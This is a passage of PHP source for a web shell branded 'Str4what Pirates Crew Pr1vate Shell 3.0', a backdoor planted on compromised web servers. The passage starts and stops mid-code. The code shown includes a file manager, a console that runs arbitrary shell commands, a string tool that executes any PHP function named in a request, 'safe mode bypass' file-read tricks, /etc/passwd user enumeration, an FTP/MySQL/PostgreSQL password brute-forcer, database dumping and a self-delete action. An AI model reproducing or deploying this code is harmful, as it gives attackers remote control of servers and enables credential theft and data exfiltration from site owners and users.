\'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
\'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i]))
$files[] = array_merge($tmp, array(\'type\' => \'file\'));
elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i]))
$links[] = array_merge($tmp, array(\'type\' => \'link\'));
elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
}
$GLOBALS[\'sort\'] = $sort;
function cmp($a, $b) {
if($GLOBALS[\'sort\'][0] != \'size\')
return strcmp($a[$GLOBALS[\'sort\'][0]], $b[$GLOBALS[\'sort\'][0]])*($GLOBALS[\'sort\'][1]?1:-1);
else
return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
}
usort($files, "cmp");
usort($dirs, "cmp");
usort($links, "cmp");
$files = array_merge($dirs, $links, $files);
$l = 0;
foreach($files as $f) {
echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');"><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
$l = $l?0:1;
}
echo \'<tr><td colspan=5>
<input type=hidden name=a value=\'FilesMan\'>
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>\';
if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])){echo \'<option value=\'paste\'>Paste</option>\'; }
echo \'</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" value="Str4what Pirates Crew!!!" disabled="disabled"/> <input type="submit" value="Add Deface Here" disabled="disabled"></td></tr>
</form></table></div>\';
printFooter();
}
function actionStringTools() {
if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
if(isset($_POST[\'ajax\'])) {
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
ob_start();
if(function_exists($_POST[\'p1\']))
echo $_POST[\'p1\']($_POST[\'p2\']);
$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"
\\'")."\';
";
echo strlen($temp), "
", $temp;
exit;
}
printHeader();
echo \'<h1>String conversions</h1><div class=content>\';
$stringTools = array(
\'Base64 encode\' => \'base64_encode\',
\'Base64 decode\' => \'base64_decode\',
\'Url encode\' => \'urlencode\',
\'Url decode\' => \'urldecode\',
\'Full urlencode\' => \'full_urlencode\',
\'md5 hash\' => \'md5\',
\'sha1 hash\' => \'sha1\',
\'crypt\' => \'crypt\',
\'CRC32\' => \'crc32\',
\'ASCII to HEX\' => \'ascii2hex\',
\'HEX to ASCII\' => \'hex2ascii\',
\'HEX to DEC\' => \'hexdec\',
\'HEX to BIN\' => \'hex2bin\',
\'DEC to HEX\' => \'dechex\',
\'DEC to BIN\' => \'decbin\',
\'BIN to HEX\' => \'bin2hex\',
\'BIN to DEC\' => \'bindec\',
\'String to lower case\' => \'strtolower\',
\'String to upper case\' => \'strtoupper\',
\'Htmlspecialchars\' => \'htmlspecialchars\',
\'String length\' => \'strlen\',
);
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";
foreach($stringTools as $k => $v)
echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".htmlspecialchars(@$_POST[\'p2\'])."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
if(!empty($_POST[\'p1\'])) {
if(function_exists($_POST[\'p1\']))
echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
}
echo"</pre></div>";
printFooter();
}
function actionFilesTools() {
if( isset($_POST[\'p1\']) )
$_POST[\'p1\'] = urldecode($_POST[\'p1\']);
if(@$_POST[\'p2\']==\'download\') {
if(is_file($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST[\'p1\']);
header("Content-Type: ".$type);
}
$fp = @fopen($_POST[\'p1\'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
} elseif(is_dir($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
}
exit;
}
if( @$_POST[\'p2\'] == \'mkfile\' ) {
if(!file_exists($_POST[\'p1\'])) {
$fp = @fopen($_POST[\'p1\'], \'w\');
if($fp) {
$_POST[\'p2\'] = "edit";
fclose($fp);
}
}
}
printHeader();
echo \'<h1>File tools</h1><div class=content>\';
if( !file_exists(@$_POST[\'p1\']) ) {
echo \'File not exists\';
printFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
$gid = @posix_getgrgid(@fileowner($_POST[\'p1\']));
echo \'<span>Name:</span> \'.htmlspecialchars($_POST[\'p1\']).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
if( empty($_POST[\'p2\']) )
$_POST[\'p2\'] = \'view\';
if( is_file($_POST[\'p1\']) )
$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
else
$m = array(\'Chmod\', \'Rename\', \'Touch\');
foreach($m as $v)
echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
echo \'<br><br>\';
switch($_POST[\'p2\']) {
case \'view\':
echo \'<pre class=ml1>\';
$fp = @fopen($_POST[\'p1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</pre>\';
break;
case \'highlight\':
if( is_readable($_POST[\'p1\']) ) {
echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';
$code = highlight_file($_POST[\'p1\'],true);
echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
}
break;
case \'chmod\':
if( !empty($_POST[\'p3\']) ) {
$perms = 0;
for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
if(!@chmod($_POST[\'p1\'], $perms))
echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
else
die(\'<script>g(null,null,null,null,"")</script>\');
}
echo \'<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
break;
case \'edit\':
if( !is_writable($_POST[\'p1\'])) {
echo \'File isn\'t writeable\';
break;
}
if( !empty($_POST[\'p3\']) ) {
@file_put_contents($_POST[\'p1\'],$_POST[\'p3\']);
echo \'Saved!<br><script>document.mf.p3.value="";</script>\';
}
echo \'<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>\';
$fp = @fopen($_POST[\'p1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</textarea><input type=submit value=">>"></form>\';
break;
case \'hexdump\':
$c = @file_get_contents($_POST[\'p1\']);
$n = 0;
$h = array(\'00000000<br>\',\'\',\'\');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= \' \'; break;
case 9: $h[2] .= \' \'; break;
case 10: $h[2] .= \' \'; break;
case 13: $h[2] .= \' \'; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
$h[1] .= \'<br>\';
$h[2] .= "
";
}
}
echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
break;
case \'rename\':
if( !empty($_POST[\'p3\']) ) {
if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
echo \'Can\'t rename!<br><script>document.mf.p3.value="";</script>\';
else
die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
}
echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
break;
case \'touch\':
if( !empty($_POST[\'p3\']) ) {
$time = strtotime($_POST[\'p3\']);
if($time) {
if(@touch($_POST[\'p1\'],$time,$time))
die(\'<script>g(null,null,null,null,"")</script>\');
else {
echo \'Fail!<script>document.mf.p3.value="";</script>\';
}
} else echo \'Bad time format!<script>document.mf.p3.value="";</script>\';
}
echo \'<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
break;
case \'mkfile\':
break;
}
echo \'</div>\';
printFooter();
}
function actionSafeMode() {
$temp=\'\';
ob_start();
switch($_POST[\'p1\']) {
case 1:
$temp=@tempnam($test, \'cx\');
if(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){
echo @file_get_contents($temp);
unlink($temp);
} else
echo \'Sorry... Can\'t open file\';
break;
case 2:
$files = glob($_POST[\'p2\'].\'*\');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST[\'p2\']."".SELF_PATH);
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST[\'p2\']);
break;
case 5:
for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {
$uid = @posix_getpwuid($_POST[\'p2\']);
if ($uid)
echo join(\':\',$uid)."
";
}
break;
case 6:
if(!function_exists(\'imap_open\'))break;
$stream = imap_open($_POST[\'p2\'], "", "");
if ($stream == FALSE)
break;
echo imap_body($stream, 1);
imap_close($stream);
break;
}
$temp = ob_get_clean();
printHeader();
echo \'<h1>Safe mode bypass</h1><div class=content>\';
echo \'<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>\';
if($temp)
echo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\';
echo \'</div>\';
printFooter();
}
function actionConsole() {
if(isset($_POST[\'ajax\'])) {
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
ob_start();
echo "document.cf.cmd.value=\'\';
";
$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']),"
\\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match)) {
if(@chdir($match[1])) {
$GLOBALS[\'cwd\'] = @getcwd();
echo "document.mf.c.value=\'".$GLOBALS[\'cwd\']."\';";
}
}
echo "document.cf.output.value+=\'".$temp."\';";
echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
printHeader();
echo \'<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push("");
cur = cmds.length-1;
}
</script>\';
echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>\';
foreach($GLOBALS[\'aliases\'] as $n => $v) {
if($v == \'\') {
echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
continue;
}
echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
}
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo \'</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>\';
if(!empty($_POST[\'p1\'])) {
echo htmlspecialchars("$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']));
}
echo \'</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">\';
echo \'</form></div><script>document.cf.cmd.focus();</script>\';
printFooter();
}
function actionLogout() {
unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);
echo \'
<!--Str4what Pirates Crew Shell 3.0-->
<!--Recoded by Str4what Zyb3r-->
<script>alert("Logout Successful")</script>
<body bgcolor=#ffffff><center><img src="http://oi42.tinypic.com/2zgclz5.jpg"></center>
<H1><center><p style="color: #DF0101" >Str4what Pirates Crew Pr1vate Shell 3.0</p></H1>
<center>
<iframe src="http://www.facebook.com/plugins/likebox.php?
href=https://www.facebook.com/Str4whatPiratesRecruitmentZone.gov&width=260&colorsche
me=light&show_faces=true&border_color=
%23fff&stream=false&header=false&height=100" scrolling="no"
frameborder="0" style="background:transparent; border:none; overflow:hidden; width:200px;
height:100px;" allowtransparency="true"></iframe></center>
<H3><center><p style="color: #585858" >| Strawhat Luffy | Strawhat 4ce | Strawhat Chopp3r | Strawhat Red |<br>
| Strawhat Fizche | Strawhat bro0k | Str4what- Zyber | Strawhat Zorror | Str4what-Nami | Strawhat Leyte_Pr1d3 | Str4what-L4w |</p></H3></body>\';
}
function actionSelfRemove() {
printHeader();
if($_POST[\'p1\'] == \'yes\') {
if(@unlink(SELF_PATH))
die(\'Shell has been removed\');
else
echo \'unlink error!\';
}
echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\';
printFooter();
}
function actionBruteforce() {
printHeader();
if( isset($_POST[\'proto\']) ) {
echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';
if( $_POST[\'proto\'] == \'ftp\' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST[\'proto\'] == \'mysql\' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST[\'proto\'] == \'pgsql\' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=\'\'";
$res = @pg_connect($server[0].\':\'.$server[1]?$server[1]:5432, $login, $pass);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST[\'server\']);
if($_POST[\'type\'] == 1) {
$temp = @file(\'/etc/passwd\');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';
}
if(@$_POST[\'reverse\']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST[\'type\'] == 2) {
$temp = @file($_POST[\'dict\']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {
$success++;
echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'
.\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'
.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'
.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'
.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'
.\'<span>Server:port</span></td>\'
.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'
.\'<tr><td><span>Brute type</span></td>\'
.\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'
.\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'
.\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'
.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'
.\'<td><input type=text name=login value="Leyte_Pr1d3"></td></tr>\'
.\'<tr><td><span>Dictionary</span></td>\'
.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'
.\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';
echo \'</div><br>\';
printFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case \'mysql\':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case \'pgsql\':
$host = explode(\':\', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case \'mysql\':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case \'mysql\':
return $this->res = @mysql_query($str);
break;
case \'pgsql\':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case \'mysql\':
return @mysql_fetch_assoc($res);
break;
case \'pgsql\':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case \'mysql\':
return $this->res = @mysql_list_dbs($this->link);
break;
case \'pgsql\':
return $this->res = $this->query("SELECT datname FROM pg_database");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case \'mysql\':
return $this->res = $this->query(\'SHOW TABLES\');
break;
case \'pgsql\':
return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != \'information_schema\' AND table_schema != \'pg_catalog\') or table_name = \'pg_user\'");
break;
}
return false;
}
function error() {
switch($this->type) {
case \'mysql\':
return @mysql_error($this->link);
break;
case \'pgsql\':
return @pg_last_error($this->link);
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case \'mysql\':
if(function_exists(\'mysql_set_charset\'))
return @mysql_set_charset($str, $this->link);
else
$this->query(\'SET CHARSET \'.$str);
break;
case \'mysql\':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function dump($table) {
switch($this->type) {
case \'mysql\':
$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
$create = mysql_fetch_array($res);
echo $create[1].";
";
$this->query(\'SELECT * FROM `\'.$table.\'`\');
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "\'".@mysql_real_escape_string($v)."\'";
$columns[] = "`".$k."`";
}
echo \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
}
break;
case \'pgsql\':
$this->query(\'SELECT * FROM \'.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "\'".addslashes($v)."\'";
$columns[] = $k;
}
echo \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
}
break;
}
return false;
}
};
$db = new DbClass(@$_POST[\'type\']);
if(@$_POST[\'p2\']==\'download\') {
ob_start("ob_gzhandler", 4096);
$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
$db->selectdb($_POST[\'sql_base\']);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST[\'tbl\'] as $v)
$db->dump($v);
exit;
}
printHeader();
echo \'<h1>Sql browser</h1><div class=content>
<form name="sf" method="post">
<table cellpadding="2" cellspacing="0">
<tr>
<td>Type</td>
<td>Host</td>
<td>Login</td>
<td>Password</td>
<td>Database</td>
<td></td>
</tr>
<tr>
<input type=hidden name=a value=Sql>
<input type=hidden name=p1 value=\'query\'>
<input type=hidden name=p2>
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
<td>
<select name=\'type\'>
<option value="mysql" \'.(@$_POST[\'type\']==\'mysql\'?\'selected\':\'\').\'>MySql</option>
<option value="pgsql" \'.(@$_POST[\'type\']==\'pgsql\'?\'selected\':\'\').\'>PostgreSql</option>
</select></td>
<td><input type=text name=sql_host value="\'.(empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])).\'"></td>
<td><input type=text name=sql_login value="\'.(empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])).\'"></td>
<td><input type=text name=sql_pass value="\'.(empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])).\'"></td>
<td>\';
$tmp = "<input type=text name=sql_base value=\'\'>";
if(isset($_POST[\'sql_host\'])){
if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {
switch($_POST[\'charset\']) {
case "Windows-1251": $db->setCharset(\'cp1251\'); break;
case "UTF-8": $db->setCharset(\'utf8\'); break;
case "KOI8-R": $db->setCharset(\'koi8r\'); break;
case "KOI8-U": $db->setCharset(\'koi8u\'); break;
case "cp866": $db->setCharset(\'cp866\'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=\'\'></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
}
echo \'</select>\';
}
else echo $tmp;
}else
echo $tmp;
echo \'</td>
<td><input type=submit value=">>"></td>
</tr>
</table>
<script>
function st(t,l) {
document.sf.p1.value = \'select\';
document.sf.p2.value = t;
if(l!=null)document.sf.p3.value = l;
document.sf.submit();
}
function is() {
for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
}
</script>\';
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST[\'sql_base\'])){
$db->selectdb($_POST[\'sql_base\']);
echo "<tr><td width=1 style=\'border-top:2px solid #666;border-right:2px solid #666;\'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
$n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
$value = htmlspecialchars($value);
echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'> <a href=# onclick=\"st(\'".$value."\')\">".$value."</a> (".$n[\'n\'].")</nobr><br>";
}
echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'></td><td style=\'border-top:2px solid #666;\'>";
if(@$_POST[\'p1\'] == \'select\') {
$_POST[\'p1\'] = \'query\';
$db->query(\'SELECT COUNT(*) as n FROM \'.$_POST[\'p2\'].\'\');
$num = $db->fetch();
$num = $num[\'n\'];
echo "<span>".$_POST[\'p2\']."</span> ($num) ";
for($i=0;$i<($num/30);$i++)
if($i != (int)$_POST[\'p3\'])
echo "<a href=\'#\' onclick=\'st(\"".$_POST[\'p2\']."\", $i)\'>",($i+1),"</a> ";
else
echo ($i+1)," ";
if($_POST[\'type\']==\'pgsql\')
$_POST[\'p3\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);
else
$_POST[\'p3\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';
echo "<br><br>";
}
if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p3\'])) {
